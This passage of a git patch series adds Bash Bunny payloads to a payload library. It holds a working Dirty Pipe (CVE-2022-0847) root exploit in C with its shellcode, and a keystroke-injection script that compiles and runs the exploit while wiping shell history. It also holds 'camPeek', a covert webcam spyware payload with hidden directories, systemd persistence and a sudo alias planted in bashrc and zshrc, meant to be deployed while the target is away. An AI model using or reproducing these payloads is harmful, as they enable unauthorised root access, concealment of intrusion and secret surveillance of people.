0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, + 0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a, + 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00, + 0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0, + 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, + 0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00 +}; + +/** + * Create a pipe where all "bufs" on the pipe_inode_info ring have the + * PIPE_BUF_FLAG_CAN_MERGE flag set. + */ +static void prepare_pipe(int p[2]) +{ + if (pipe(p)) abort(); + + const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); + static char buffer[4096]; + + /* fill the pipe completely; each pipe_buffer will now have + the PIPE_BUF_FLAG_CAN_MERGE flag */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + write(p[1], buffer, n); + r -= n; + } + + /* drain the pipe, freeing all pipe_buffer instances (but + leaving the flags initialized) */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; + read(p[0], buffer, n); + r -= n; + } + + /* the pipe is now empty, and if somebody adds a new + pipe_buffer without initializing its "flags", the buffer + will be mergeable */ +} + +int hax(char *filename, long offset, uint8_t *data, size_t len) { + /* open the input file and validate the specified offset */ + const int fd = open(filename, O_RDONLY); // yes, read-only! :-) + if (fd < 0) { + perror("open failed"); + return -1; + } + + struct stat st; + if (fstat(fd, &st)) { + perror("stat failed"); + return -1; + } + + /* create the pipe with all flags initialized with + PIPE_BUF_FLAG_CAN_MERGE */ + int p[2]; + prepare_pipe(p); + + /* splice one byte from before the specified offset into the + pipe; this will add a reference to the page cache, but + since copy_page_to_iter_pipe() does not initialize the + "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */ + --offset; + ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); + if (nbytes < 0) { + perror("splice failed"); + return -1; + } + if (nbytes == 0) { + fprintf(stderr, "short splice\n"); + return -1; + } + + /* the following write will not create a new pipe_buffer, but + will instead write into the page cache, because of the + PIPE_BUF_FLAG_CAN_MERGE flag */ + nbytes = write(p[1], data, len); + if (nbytes < 0) { + perror("write failed"); + return -1; + } + if ((size_t)nbytes < len) { + fprintf(stderr, "short write\n"); + return -1; + } + + close(fd); + + return 0; +} + +int main(int argc, char **argv) { + if (argc != 2) { + fprintf(stderr, "Usage: %s SUID\n", argv[0]); + return EXIT_FAILURE; + } + + char *path = argv[1]; + uint8_t *data = elfcode; + + int fd = open(path, O_RDONLY); + uint8_t *orig_bytes = malloc(sizeof(elfcode)); + lseek(fd, 1, SEEK_SET); + read(fd, orig_bytes, sizeof(elfcode)); + close(fd); + + printf("[+] hijacking suid binary..\n"); + if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] dropping suid shell..\n"); + system(path); + + printf("[+] restoring suid binary..\n"); + if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) { + printf("[~] failed\n"); + return EXIT_FAILURE; + } + + printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n"); + system("/tmp/sh"); + + return EXIT_SUCCESS; +} diff --git a/payloads/library/execution/DirtyPipe/payload.txt b/payloads/library/execution/DirtyPipe/payload.txt new file mode 100644 index 00000000..e432e46e --- /dev/null +++ b/payloads/library/execution/DirtyPipe/payload.txt @@ -0,0 +1,82 @@ +# Title: DirtyPipe +# Description: Exploit for a new Linux vulnerability known as 'Dirty Pipe(CVE-2022-0847)' allows local users to gain root privileges. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Execution +# Target: Linux operating systems. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 100 +Q STRING HISTSIZE=0 +Q ENTER +Q DELAY 100 +Q STRING rm -f '$HISTFILE' +Q ENTER +Q DELAY 100 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering and executing exploit] +Q STRING cp -r '$mntt'/payloads/library/dirtypipe.c /tmp/ +Q ENTER +Q DELAY 100 +Q STRING gcc /tmp/dirtypipe.c -o /tmp/dirtypipe +Q ENTER +Q DELAY 1000 +Q STRING chmod +x /tmp/dirtypipe +Q ENTER +Q STRING /tmp/./dirtypipe /bin/bash +Q ENTER +Q DELAY 500 +Q STRING sudo su +Q ENTER +Q CTRL-ALT t +Q DELAY 500 +Q STRING rm /tmp/dirtypipe +Q ENTER +Q DELAY 100 +Q STRING rm /tmp/dirtypipe.c +Q ENTER +Q DELAY 200 + +# [Unmounting BashBunny] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 100 +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 100 +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH From 7bd90b7308260397a638fde6765459a7b8288836 Mon Sep 17 00:00:00 2001 From: drapl0n <87269662+drapl0n@users.noreply.github.com> Date: Fri, 1 Apr 2022 21:35:39 +0530 Subject: [PATCH 5/5] uploaded camPeek (#508) * uploaded camPeek camPeek payload peeks through targets web cam and capture images * Delete payload.txt * uploading payload --- payloads/library/execution/camPeek/README.md | 55 ++++++++++++++++++ .../execution/camPeek/camPeek/payload.sh | 18 ++++++ .../library/execution/camPeek/camPeek/shell | 12 ++++ .../execution/camPeek/camPeek/systemBus | 5 ++ .../execution/camPeek/switch1/payload.txt | 56 +++++++++++++++++++ .../execution/camPeek/switch2/payload.txt | 43 ++++++++++++++ 6 files changed, 189 insertions(+) create mode 100644 payloads/library/execution/camPeek/README.md create mode 100644 payloads/library/execution/camPeek/camPeek/payload.sh create mode 100644 payloads/library/execution/camPeek/camPeek/shell create mode 100644 payloads/library/execution/camPeek/camPeek/systemBus create mode 100644 payloads/library/execution/camPeek/switch1/payload.txt create mode 100644 payloads/library/execution/camPeek/switch2/payload.txt diff --git a/payloads/library/execution/camPeek/README.md b/payloads/library/execution/camPeek/README.md new file mode 100644 index 00000000..4c6863c5 --- /dev/null +++ b/payloads/library/execution/camPeek/README.md @@ -0,0 +1,55 @@ +## About: +* Title: camPeek +* Description: camPeek payload peeks through targets web cam and capture images and stores them in bunny. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Execution +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## CamPeek: camPeek payload is divided into two modules, First peeks through targets web cam and capture images and Second stores them in bunny. + +### Features: +* Robust Payload for capturing targets images. +* No additional dependencies required. +* Persistent. +* Autostart payload on boot. + +### Payload: +* Payload is divided into two modules: +1) Deployment: In this stage payload is deployed in targets system. +2) Exfiltration: Storing saved loot from targets system in bunny. + +### Payload Script's Workflow: +* Stop storing histroy. +* Grep bunny's mount point of bunny. +* Creating hidden directory in /var/tmp/..... for obfuscation. +* Copying ffmpeg and image capturing mechanism in target's system. +* Creating systemd service for persistance and triggering mechanism for autostart. + +### Changes to be made: +* Change time interval of capturing image, more the time interval target gets less suspicious, default time interval is 120 secs. Make changes in `systemBus` on line number `4`. + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +### Note: +* Download pre compiled static build of ffmpeg from: https://github.com/drapl0n/temp/releases/download/ffmpeg/ffmpeg and move it in camPeek directory. +* Due to big size of binary, it is not provided in this repo. +* Craete directory name `camPeek` in `/loot/` for storing captured images. + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| switch1/payload.txt | /payloads/switch1/ | +| switch2/payload.txt | /payloads/switch2/ | +| camPeek/ | /payloads/libray/ | + +### Usage: +1. Deploy first payload during absence of target using `switch1`. +2. Execute second payload during absence of target to store captured images in bunny using `switch2`. + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/execution/camPeek/camPeek/payload.sh b/payloads/library/execution/camPeek/camPeek/payload.sh new file mode 100644 index 00000000..3759ce12 --- /dev/null +++ b/payloads/library/execution/camPeek/camPeek/payload.sh @@ -0,0 +1,18 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir /var/tmp/.system +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/payloads/library/camPeek/ffmpeg /var/tmp/.system/ +chmod +x /var/tmp/.system/ffmpeg +mkdir /var/tmp/.system/sysLog +cp -r $mntt/payloads/library/camPeek/systemBus /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +cp -r $mntt/payloads/library/camPeek/shell /tmp/ +chmod +x /tmp/shell && /tmp/./shell && rm /tmp/shell diff --git a/payloads/library/execution/camPeek/camPeek/shell b/payloads/library/execution/camPeek/camPeek/shell new file mode 100644 index 00000000..2b46e3d3 --- /dev/null +++ b/payloads/library/execution/camPeek/camPeek/shell @@ -0,0 +1,12 @@ +#!/bin/bash +ls -a ~/ | grep 'zshrc' &> /dev/null +if [ $? = 0 ]; then + echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.zshrc + echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.zshrc +fi + +ls -a ~/ | grep 'bashrc' &> /dev/null +if [ $? = 0 ]; then + echo -e "alias sudo='bash /var/tmp/.system/systemMgr && sudo'" >> ~/.bashrc + echo "systemctl --user enable --now systemBUS.service && systemctl --user restart systemBUS.service" >> ~/.bashrc +fi diff --git a/payloads/library/execution/camPeek/camPeek/systemBus b/payloads/library/execution/camPeek/camPeek/systemBus new file mode 100644 index 00000000..f23d223c --- /dev/null +++ b/payloads/library/execution/camPeek/camPeek/systemBus @@ -0,0 +1,5 @@ +while true; +do + /var/tmp/.system/./ffmpeg -f video4linux2 -i /dev/video0 -vframes 1 -video_size 640x480 /var/tmp/.system/sysLog/$(date +%Y%m%d-%H%M%S).png + sleep 120 +done diff --git a/payloads/library/execution/camPeek/switch1/payload.txt b/payloads/library/execution/camPeek/switch1/payload.txt new file mode 100644 index 00000000..c251c817 --- /dev/null +++ b/payloads/library/execution/camPeek/switch1/payload.txt @@ -0,0 +1,56 @@ +# Title: camPeek +# Description: camPeek payload peeks through targets web cam and capture images. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Execution +# Target: GNU/Linux operating systems with systemd. +# Attackmodes: HID, Storage. + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/library/camPeek/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 12000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/execution/camPeek/switch2/payload.txt b/payloads/library/execution/camPeek/switch2/payload.txt new file mode 100644 index 00000000..b478df1f --- /dev/null +++ b/payloads/library/execution/camPeek/switch2/payload.txt @@ -0,0 +1,43 @@ +# Title: camPeek +# Description: camPeek payload's exfilteration module to move captured images to bunny. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Execution +# Target: GNU/Linux operating systems with systemd. +# Attackmodes: HID, Storage. + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +# create directory named camPeek in /loot/ +Q STRING mv /var/tmp/.system/sysLog/* '$mntt'/loot/camPeek/ \& +Q ENTER +Q STRING disown \&\& exit +Q ENTER